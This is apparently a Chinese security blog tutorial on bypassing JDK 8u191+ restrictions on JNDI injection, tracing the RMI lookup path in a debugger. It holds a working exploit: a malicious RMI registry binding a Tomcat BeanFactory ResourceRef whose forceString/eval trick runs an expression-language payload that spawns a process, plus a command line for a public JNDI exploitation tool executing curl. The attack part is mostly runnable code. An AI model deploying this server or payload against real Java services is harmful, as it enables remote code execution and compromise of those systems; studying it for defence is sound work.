高版本JNDI的利用方式

拜读

综述

RMI和LDAP类型的JNDI注入分别在哪个版本限制

RMI的JNDI注入在8u121后限制,需要手动开启com.sun.jndi.rmi.object.trustURLCodebase属性

LDAP的JNDI注入在8u191后限制,需要开启com.sun.jndi.ldap.object.trustURLCodebase属性

复现

要复现的话肯定要先找一个对应版本的JDK啦

8u191+

我最后下了 8u202

RMI

看一下、

随便起一个rmi客户端

1
2
3
4
5
6
7
8
9
10
11
public class lookup {
public static void main(String[] args) {
try {
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/b1ue0cean");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}

恶意服务器

https://github.com/welk1n/JNDI-Injection-Exploit

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl 0.0.0.0:1" -A "0.0.0.0"

假如直接运行看看发生了肾么事

image-20230331213304606

在 com.sun.jndi.rmi.registry.RegistryContext 类的 lookup 打个断点

image-20230331213832908

进到了 decodeObject 里面 跟一下

image-20230331213929164

就可以看到原因了

绕过

看到这里 也就是说 如果 var8.getFactoryClassLocation() 不为空 就可以继续往下走了

可以看到 我们的工具已经提供了

image-20230331214915539

看看源码

https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/src/main/java/jndi/RMIRefServer.java#L372

1
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

过if 之后跟进 getObjectInstance

image-20230331215653642

看看具体加载规则

image-20230331215829417

首先希望从本地加载类,否则从 codebase 加载,然后创建实例

但是需要 ref.getFactoryClassLocation()) != null 和上面的绕过冲突了,以不能用helper.loadClass(factoryName, codebase)来加载类执行代码。

javax.naming.spi.NamingManager#getObjectInstance

image-20230331221050420

需要找一个类,这个类首先要实现ObjectFactory接口,并且其getObjectInstance方法实现中有可以被用来构造exp的逻辑。

由此引入org.apache.naming.factory.BeanFactory类,在org.apache.naming.factory.BeanFactory#getObjectInstance中

参考 https://y4er.com/posts/use-local-factory-bypass-jdk-to-jndi/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {


public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);

//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("evilEL", referenceWrapper);
}

}

reference

https://tttang.com/archive/1405/#toc_0x00

https://y4er.com/posts/use-local-factory-bypass-jdk-to-jndi/

https://github.com/orangetw/JNDI-Injection-Bypass/blob/master/src/main/java/payloads/EvilRMIServer.java

https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/